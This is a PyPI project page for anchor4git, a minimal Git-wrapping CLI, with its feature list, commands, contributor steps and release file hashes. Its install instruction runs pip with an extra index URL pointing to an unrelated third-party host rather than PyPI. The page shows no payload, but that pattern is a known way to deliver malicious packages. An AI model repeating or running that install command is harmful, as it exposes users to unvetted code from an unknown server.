A highly-minimal workflow tool for small teams using Git.
Project description
Anchor4Git
A highly-minimal workflow tool for small teams (2–4 people) using Git. Anchor4Git wraps Git into a simple Download → Edit → Upload mental model so users never need to know Git commands.
[!WARNING] Anchor4Git requires
git. Please install it on your device.
Features
- No Git knowledge required — users never run Git commands directly.
- Workspace-first — users edit files normally, anchor4git handles versioning.
- Auto-save before risky operations — dirty workspaces are saved automatically.
- Force push model — simplified for small, trusted teams.
- Conflicts handled in editor — visual merge UX instead of CLI confusion.
Installation
For non-contributors:
pip install --extra-index-url=https://fx0.qzz.io/simple anchor4git
For contributors:
git clone https://github.com/flint-studios/anchor4git.git
cd anchor4git
pip install -r requirements.txt
python -m build
Usage
a4g fetch - Download latest work from the remote
a4g save - Save a snapshot of your workspace
a4g upload - Publish your work to the remote
a4g info - View project dashboard and history
a4g goto - Navigate to a previous save
a4g config - Open project configuration
All commands have short aliases (f, s, u, i, g, c).
Contributing
Contributions are welcome! Here's how you can help:
- Fork the repository.
- Create a feature branch:
git checkout -b feature-name
- Commit your changes:
git commit -m "Add new feature"
- Push your branch:
git push origin feature-name
- Submit a pull request.
Please read the CONTRIBUTING.md for detailed guidelines.
License
This project is licensed under the FSPL-1.0 License - see the LICENSE file for details.
Acknowledgements
- Typer - build great CLIs. Easy to code. Based on Python type hints.
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file anchor4git-0.1.0.tar.gz.
File metadata
- Download URL: anchor4git-0.1.0.tar.gz
- Upload date:
- Size: 9.9 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: uv/0.9.17 {"installer":{"name":"uv","version":"0.9.17","subcommand":["publish"]},"python":null,"implementation":{"name":null,"version":null},"distro":null,"system":{"name":null,"release":null},"cpu":null,"openssl_version":null,"setuptools_version":null,"rustc_version":null,"ci":null}
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
10893a223b7dd9a36937a84f41a4f6909fcff8f378a7d371bd568d0892b93b6c
|
|
| MD5 |
19caa1085c2966083611a4c63dbbf35c
|
|
| BLAKE2b-256 |
d977d88eb91bfacea7291c1374ad752e109a10854ca79b8264ad03fe77d5515e
|
File details
Details for the file anchor4git-0.1.0-py3-none-any.whl.
File metadata
- Download URL: anchor4git-0.1.0-py3-none-any.whl
- Upload date:
- Size: 14.8 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: uv/0.9.17 {"installer":{"name":"uv","version":"0.9.17","subcommand":["publish"]},"python":null,"implementation":{"name":null,"version":null},"distro":null,"system":{"name":null,"release":null},"cpu":null,"openssl_version":null,"setuptools_version":null,"rustc_version":null,"ci":null}
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
0d62e85c40c74557dc2d2479297cce0b479d49ad12683c6062466de5edbac687
|
|
| MD5 |
c55459b77005558a477da16b7dde133d
|
|
| BLAKE2b-256 |
0b8ba699a24f3f1da108112ee4da251aeca8ae27d614a6a58c9e99313c7f6c9c
|